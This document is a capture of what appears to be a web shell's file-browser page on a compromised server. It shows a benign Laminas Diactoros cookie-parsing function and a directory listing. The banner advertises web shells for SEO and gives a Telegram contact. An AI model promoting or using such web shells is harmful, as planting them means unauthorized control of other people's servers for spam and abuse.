__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Laminas\Diactoros;
use function preg_match_all;
use function urldecode;
use const PREG_SET_ORDER;
/**
* Parse a cookie header according to RFC 6265.
*
* PHP will replace special characters in cookie names, which results in other cookies not being available due to
* overwriting. Thus, the server request should take the cookies from the request header instead.
*
* @param string $cookieHeader A string cookie header value.
* @return array<non-empty-string, string> key/value cookie pairs.
*/
function parseCookieHeader($cookieHeader): array
{
preg_match_all('(
(?:^\\n?[ \t]*|;[ ])
(?P<name>[!#$%&\'*+-.0-9A-Z^_`a-z|~]+)
=
(?P<DQUOTE>"?)
(?P<value>[\x21\x23-\x2b\x2d-\x3a\x3c-\x5b\x5d-\x7e]*)
(?P=DQUOTE)
(?=\\n?[ \t]*$|;[ ])
)x', $cookieHeader, $matches, PREG_SET_ORDER);
$cookies = [];
foreach ($matches as $match) {
$cookies[$match['name']] = urldecode($match['value']);
}
return $cookies;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| create_uploaded_file.legacy.php | File | 397 B | 0664 |
|
| create_uploaded_file.php | File | 937 B | 0664 |
|
| marshal_headers_from_sapi.legacy.php | File | 375 B | 0664 |
|
| marshal_headers_from_sapi.php | File | 1.8 KB | 0664 |
|
| marshal_method_from_sapi.legacy.php | File | 371 B | 0664 |
|
| marshal_method_from_sapi.php | File | 233 B | 0664 |
|
| marshal_protocol_version_from_sapi.legacy.php | File | 416 B | 0664 |
|
| marshal_protocol_version_from_sapi.php | File | 721 B | 0664 |
|
| marshal_uri_from_sapi.legacy.php | File | 397 B | 0664 |
|
| marshal_uri_from_sapi.php | File | 6.8 KB | 0664 |
|
| normalize_server.legacy.php | File | 387 B | 0664 |
|
| normalize_server.php | File | 1.52 KB | 0664 |
|
| normalize_uploaded_files.legacy.php | File | 374 B | 0664 |
|
| normalize_uploaded_files.php | File | 4 KB | 0664 |
|
| parse_cookie_header.legacy.php | File | 489 B | 0664 |
|
| parse_cookie_header.php | File | 1.02 KB | 0664 |
|